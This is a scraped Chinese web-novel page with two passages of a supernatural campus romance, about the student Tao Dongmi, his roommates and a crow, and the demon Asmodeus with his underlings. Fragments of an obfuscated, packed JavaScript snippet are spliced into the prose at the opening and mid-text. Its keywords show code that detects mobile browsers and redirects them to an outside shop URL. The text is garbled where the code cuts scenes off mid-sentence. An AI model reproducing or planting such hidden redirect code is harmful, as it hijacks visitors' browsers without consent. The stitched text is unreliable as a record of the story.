l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16975392|191940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >口罩男收好符纸,应道:“好。” “还有一件事。” 口罩男恭恭敬敬:“您说,我洗耳恭听。” 黑斗篷双手翻动,凭空结了一个复杂的符印,推入男生的外套之中,消失不见了。 “您这……”口罩男第一次看到这样远远超出普通神婆的招式,看得呆了。 “之后你会遇到一个高大的长发欧洲男性来找你。”黑斗篷说,“如果他也找你要撞鬼那天穿过的衣服,把这件给他。” “好……好的。” 黑斗篷站起身,口罩男也连忙起身,殷勤道:“我送您——” 青年仿佛突然被按下暂停键,眼神空茫。 黑斗篷惨白的手指赫然抵着他的太阳穴,淡声道:“记住,你只是来见了一个普通的算命师傅。遇到长发欧洲男性时,心中什么都不要想,只用按照我说的做。” 说着,黑斗篷从青年太阳穴的位置拉出几条暗色的丝线,收拢进掌心。接着旋身,黑色斗篷旋转飘起,整个人凭空消失在空气中。 口罩男茫然地合拢双眼,脱力跌入椅子里,像睡着了一样。 - 自从昨晚发现,那些画着红眼睛的纸片和背后的脚步声都是人捣的鬼之后,陶冬米冷静地回想起第一次在实验楼碰到“鬼”的场景。 师兄在深夜叫自己立刻去实验室,电梯可以由人控制,走廊灯也可以被关掉,身后的脚步声、脸上的触觉,其实处处是破绽。 想清楚这些之后,陶冬米就不害怕了,甚至觉得有些荒谬。 之前常有人问陶冬米,他胆子这么小,怎么选择学医?血淋淋的内脏骨肉,开膛破肚,可能会目睹同类的死亡,还有那么多在医院发生的鬼故事,怎么可能不害怕? 陶冬米想了想,因为开膛破肚是在救助人类或者小动物的生命,他便一点也不恐惧。 陶冬米甚至不知道蔡宇杰学长身边那两个男生叫什么名字,不知道自己做了什么让他们怀恨在心。 但陶冬米也清楚,这世上很多人对别人的恶意是没有来由的,他们或许只是享受捉弄弱者的快感。 室友们都不在,陶冬米出门装水。 他怀里抱着刚装满水的水壶,摇摇晃晃地往寝室里走,听到身后有声响,下意识地回头,冷静地观察身后有没有人。 陶冬米不打算报复他们,但如果他们下一次还来吓唬自己,陶冬米会抓住他们的现行。 水壶很重,陶冬米用手肘压开门把手,肩膀轻轻撞开寝室门,侧身进屋,“咦”了一声:“孔哥,你回来啦。” 身材高壮如板砖的男生戴着一顶蓝色绒线帽,穿着白色羽绒服,正站在陶冬米的上床下桌旁边,背对着寝室门。 陶冬米看他似乎刚碰了碰自己的衣服,不好意思地说:“是我的衣服挡路了吗?我总是把一堆衣服叠在椅背上。” 孔武还是背对着他,高大的身形挡住了窗外的大部分光线,让寝室看起来很昏暗。 陶冬米:“孔武?” “啊,你叫我?”孔武回头,拿出耳朵里的蓝牙耳机,憨憨一笑,“我看到你衣服上有狗毛,帮你摘下来了。” “谢谢啊。”陶冬米笑道,“我刚去看了狗的。” “快到饭点了,一块儿去吃饭?他们俩马上从图书馆去书房。”孔武问。 “好啊。”陶冬米放下水壶,顺手从椅背捞起棉袄穿上,开心地说,“走吧!” 17.十七个学分 陶冬米和孔武走出宿舍。 “天啊我好饿,我现在饿得能吃得下一头牛。”孔武把手机举到陶冬米面前,吸溜了一下口水,“文曲发来了食堂新的冬日小火锅套餐!你看看想吃什么?” “我看看。” 陶冬米探头,孔武放低了手机,放大图片,两颗脑袋凑到一起,研究有什么好吃的。 “麻辣肥牛,椰子鸡汤,寿喜烧锅——” 噼里啪啦哐叽哐叽—— 陶冬米听到一阵响亮的翅膀拍打声,由远及近。 巨大的黑乌鸦像一架武装直升机,声势浩大地降落到陶冬米肩头,霸道地挥舞有力的翅膀,左一巴掌又一巴掌地扇在孔武铁板似的面孔上。 “哎呦!”孔武捂着脸跳到一边,震惊地指着乌鸦控诉:“哪来的孽障?竟敢冒犯你爷爷我英俊的面庞!” 大乌鸦很沉,翅膀扇起的风让陶冬米脖子痒痒的。 陶冬米缩着脖子,没办法地弯腰:“哎呀!你怎么来啦?” 孔武试图赶走这只狂妄的禽类,挥手作驱赶状:“去!去!别把我兄弟抓伤了!” 乌鸦凶悍地用翅膀与他决斗。 “没事儿!我认识它,昨天刚救下的乌鸦。”陶冬米阻止孔武,尝试着稳住肩头的乌鸦,“好啦鸦鸦,安静一点。” 孔武听话收手,惊讶地问:“我去,你这次可救了个大家伙啊。” “是的,乌鸦很聪明,会报恩,所以它不会伤害我的。”陶冬米抬起手,乌鸦自动歪着脑袋过来蹭蹭,惬意地眯起眼。 “这么厉害啊。”孔武惊叹。 黑乌鸦稳稳立在陶冬米肩头,骄傲地仰起脖子“嘎嘎”怪叫两声,小黑豆眼斜斜藐视孔武,狂妄地挥动着翅膀,完全是一副嘲讽败者的得逞嘴脸。 孔武看着乌鸦陷入沉思:“但我总觉得它在耀武扬威。” 陶冬米对动物们有着过分的溺爱:“乌鸦是这样的,爱耍小脾气,很可爱。” 乌鸦发出愉悦的怪叫:“啊,啊——” “冬米,孔武!” 文曲挥挥手,梁子直远远地就喊:“天呐,冬米你肩上咋长了个大黑棒槌!” 乌鸦好像真的听懂了,愤怒地腾飞,朝梁子直扑过去,感觉是奔着啄瞎他的眼睛去的。 陶冬米厉声喊了声:“你干嘛呢?不许伤人!” 乌鸦硬生生在距离梁子直半米的地方停住了,突兀地拐了个大弯,向上飞去,展翅滑翔,在四人头顶盘桓。 “哇。”文曲仰头追随乌鸦的飞行轨迹,“居然真的听得懂人话啊。” “我也没见过这么聪明的乌鸦。”陶冬米说。 梁子直充满自豪:“咱们学校里能有笨乌鸦?” “好了好了,快去食堂吧!”孔武号召,“饿死俺了。” 四个人热热闹闹地往食堂走,边走边聊天。 大家陆陆续续进入期末月,聊的话题逃不开该死的考试,什么教授勾考试范围勾了一整本,交上去的论文被打回来重写,考试时间太阴间……此起彼伏地吐槽。 聊这些的时候,大乌鸦就不近不远地跟着他们,一会儿在枝头蹦蹦跳跳,一会儿环绕着飞来飞去,时常啊啊嘎嘎地叫唤,像个吵闹的弹幕。 “感觉它也挺想参与咱们的聊天。”孔武笑着指指天上。 “它好喜欢跟着冬米。”梁子直说,“你这是救了个保镖吧?” 陶冬米抿唇笑了一下:“让它来考试,没准比我考得高。” “我说兄弟们,咱们聊点儿开心的吧!”文曲抱怨道,“再聊考试我要爆炸了。” “行啊——圣诞节要到了,你们准备怎么过?”梁子直生硬地转折。 “啊,圣诞节,你不说我都快忘了。”文曲挠了挠鼻尖,问梁子直,“那天我刚好考完一门课,要不我们一起去冬日集市逛逛?没准有打折的游戏卡带。” 梁子直抱歉地说:“那天寝室集体活动我参与不了。” 孔武天真地询问:“啊,你要去干嘛啊?” 梁子直故意做出遗憾的表情:“哎,我要和女朋友出去吃烛光晚餐。” 孔武:“……” “滚吧你!”文曲翻了个白眼,扭头问陶冬米,“冬米呢,想不想出去逛街?” 陶冬米:“我……” 嘎嘎—— 大乌鸦突然俯冲下来,轻盈地落到陶冬米肩头,大鸟依人地倚住陶冬米的颈窝。 “你突然过来干嘛?”陶冬米笑着挠它的下巴,挥了几次没挥开,便由它去了。 “乌鸦大哥想和你共度圣诞节。”梁子直打趣道。 陶冬米笑道:“那它要失望了,我圣诞节有安排。” 室友们齐齐起哄:“哇哦——小冬米有情况了吗?” 陶冬米红着脸澄清:“别乱想。” 其实陶冬米没告诉任何人,圣诞节是他的生日。 倒不是有什么要藏着掖着,只是陶冬米不知道要如何和别人一起庆祝生日。 从小到大,过生日的同学总会举办生日派对或者组织聚会,其中必须会有的环节是大家围着寿星唱生日歌,看着寿星许愿望,然后吹灭蜡烛,大家热热闹闹地吃喝玩闹一整晚。 陶冬米在别人的派对上经常成为冷场者,从小就不喜欢派对,因此更加不可能自己组织一个聚会,也不想成为众人焦点。 离开小镇来大城市求学后,陶冬米每年的生日都不是在父母身边过的,但他和父母有一个约定好的生日固定流程。 妈妈爸爸会给陶冬米寄一个包裹,里面有妈妈亲手做的盒子蛋糕,和爸爸卤的拿手好菜,还有他们一起给陶冬米写的生日贺卡。 父母的文化水平都不高,写的字歪歪扭扭,但陶冬米会读很多遍,然后好好收起来。 生日当天,陶冬米会找一个安静的地方,和父母打视频电话,一边吃蛋糕一边聊聊最近的生活,非常宁静惬意,陶冬米很享受这样的时刻。 不过今年陶冬米的计划有些特殊。 他在新闻中看到,一颗彗星将在12月底的时候接近地球,亮度大概在5-6等,在天气好、月相合适的情况下,甚至能用肉眼看到它划过天际。 因为彗星出现的时间在圣诞节前后,爱好者们将这次的彗星称为「伯利恒之星」。 这便是传说中指引着智者找到耶稣诞生地点的奇异星光,也就是圣诞树顶端的那颗星星。 陶冬米计划在生日当晚去宿舍楼顶看彗星,顺便和爸妈唠唠家常,想着就很幸福。 “话说回来,那个孟……孟翟思呢?”文曲问。 陡然听到这个名字,陶冬米静了两秒,才“嗯?”了一声。 孔武:“对哦,那个外国交换生,他今天怎么没来给咱们寝室送早餐啊?” “你就知道吃!”梁子直一个敲了敲孔武的脑壳,冲陶冬米挤挤眼,“小米,那个孟翟思,他喜欢你吧?” 陶冬米的神色一言难尽:“啊,为什么这样说……” “不懂了吧?因为用美食贿赂室友这种伎俩,我追我女朋友的时候也用过。”梁子直作为寝室里唯一谈着恋爱的尊贵人士,一副过来人的表情,撞了撞陶冬米的胳膊肘,低声问,“小米,你不会没看出来吧?” 陶冬米表情复杂:“……其实不能用常人的思维去衡量他的行为。” 肩上的大乌鸦突然扬起翅膀嘎嘎大叫,陶冬米哭笑不得地按住它:“怎么突然抽风。” 文曲一点就通,回忆道:“确实呢,他用一顿早餐就把我们赶走了,就是为了和你独处吧!” “原来如此。”孔武如梦初醒,凑过来八卦地问:“冬米,你老实交代,那个交换生有没有邀请你和他一起过圣诞节啦?” “没有。”陶冬米感到荒谬,“你为什么会这么想。” “怎么可能!圣诞节对于欧美人来说可是最重要的节日,他肯定想邀请你和他一起度过的。” 乌鸦翅膀拍得更欢腾了:“嘎嘎啊啊汪汪嗷——” 陶冬米捏住它的喙,命令道:“安静。” 梁子直完全沉溺于自己的推测里,充满自信地说:“我赌孟翟思今天还会出现!然后会问你要不要和他共度圣诞夜。” 文曲:“我也赌!” 孔武:“我也觉得!” 梁子直挑眉:“我可是恋爱大师。” 陶冬米:“……” 肩上骤然一轻,大乌鸦如一支离弦的箭般蹿了出去,不知道急着去做什么。 陶冬米没心情管乌鸦,只淡淡地说:“他不会来的,我也不想和他一起过节。” 高速飞走的乌鸦突然在半空中来了个急刹车。 “也好。”梁子直客观地评价,“我觉得他挺帅的,看着也很有钱,但是个性张扬轻浮。而且和咱们总归有些文化差异,西方的dating文化比较开放,我怕小米吃亏。” “确实。”文曲表示赞同,很偏心地说,“这种男模身材外国大帅哥一看就玩得花!道德品行肯定配不上咱们冬米。” 陶冬米:“……” 乌鸦原地掉头折返回来,悬停在半空中,像只漏电的电动大蚂蚱一样呱呱乱叫。 陶冬米被乌鸦吸引了注意力,惊奇感叹:“哇,鸦鸦,你怎么会蜂鸟的招式。” “所以你自己是怎么想的呢?”梁子直把陶冬米扯回来,问他,“如果那个老外邀请你共度圣诞,你会答应吗?” 陶冬米眼睛还黏在神奇的乌鸦身上,几乎没有犹豫地答:“不会啊。” “为什么?” 陶冬米看向室友,淡淡笑了笑:“很简单呀,因为我不喜欢他。” 乌鸦慢慢停止扇动翅膀,缓缓落到了地面。 梁子直有些惊讶:“你们才见过几次?这么快就确定不喜欢了嘛。” 陶冬米:“比你们看到的多很多次,他太打扰我的生活了。” “这样啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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阿斯蒙蒂斯低头看资料,周身萦绕着恐怖的低气压。 骷髅戈德用手骨装饰作用地捂住嘴,皱起早已僵硬的眉骨,侧头问薇拉:“魔王大人怎么了?他看上去很糟糕。” 薇拉收敛心中狂笑,乐呵呵地小声答:“失恋了呗。” “薇拉!”魔王一个眼刀钉过来,“讲什么小话呢?工作做完了吗?整天就知道吃饭摸猫摸男模!” 薇拉举起扫帚,在空中划开一个完美的半圆,许多动态数据可视化图表自动漂浮到空中,呈现出泡沫般的色彩。 “这是这段时间监测到的灵体力量波动、影响范围,以及每位接触者的基本信息。”薇拉气定神闲地汇报工作。 阿斯蒙蒂斯板着脸开始看图表数据。 “……” “……呃。” “……老板,十分钟过去了,你为什么还在看第一句话?”狼人贴心地问,“需要我向您解释一下吗?” 阿斯蒙蒂斯平心静气地说:“我有自己的节奏。” 薇拉举起小闹钟,甜甜一笑,贴心地提醒道:“老板,还有五分钟,您下午的课就要开始了。温馨提示,冬米小天使的课就在你隔壁的教室。” “我不去了。”阿斯蒙蒂斯说。 狼人瞪圆狼眼:“啊?为什么啊!这不会扣学分吗?” 阿斯蒙蒂斯无所谓地耸耸肩:“我玩腻了。” 薇拉:“哇哦。”真有种。 卡加里震惊地瞪出眼珠子:“老板您说什么,您玩腻了……什么……?” 阿斯蒙蒂斯语气散漫:“玩腻了和人类小孩的恋爱游戏。” 薇拉拧眉:“啧。真的?” 阿斯蒙蒂斯漠然道:“我连他的名字都不记得了。” 卡加里呜呜哭起来:“怎么会这样,这世上到底有没有永恒的爱情?” 戈德一听,整架骷髅都精神起来了,迫不及待地问:“真的吗大人!既然玩腻了,那您解除和人类的婚契了吗?您知道的,程序非常简单,就是说一句话的事儿!” 阿斯蒙蒂斯淡淡看他一眼:“你在试图干涉上级的婚姻内政?” 戈德的绅士领结急得发紫:“您知道的,这远不仅是婚姻的事。最近学校不太平,女鬼实力深浅难测,如果死亡一两个学生也在合理范围之内……” “你在质疑我的能力?”阿斯蒙蒂斯眼中闪过危险的金光,傲慢冷酷地宣告,“我不允许任何人死亡。” “您误解我的意思了。”戈德掏出丝绸手绢,尴尬地擦去锃亮脑门上并不存在的汗滴,“即使没有魔灵威胁校园安全,人类的生命同样脆弱,您将自己和凡人捆绑在一起,始终是个巨大的隐患——” 阿斯蒙蒂斯淡淡看他一眼:“戈德公爵,你其中一个良好的品德就是说话少,希望你不要忘了。” 戈德:“……”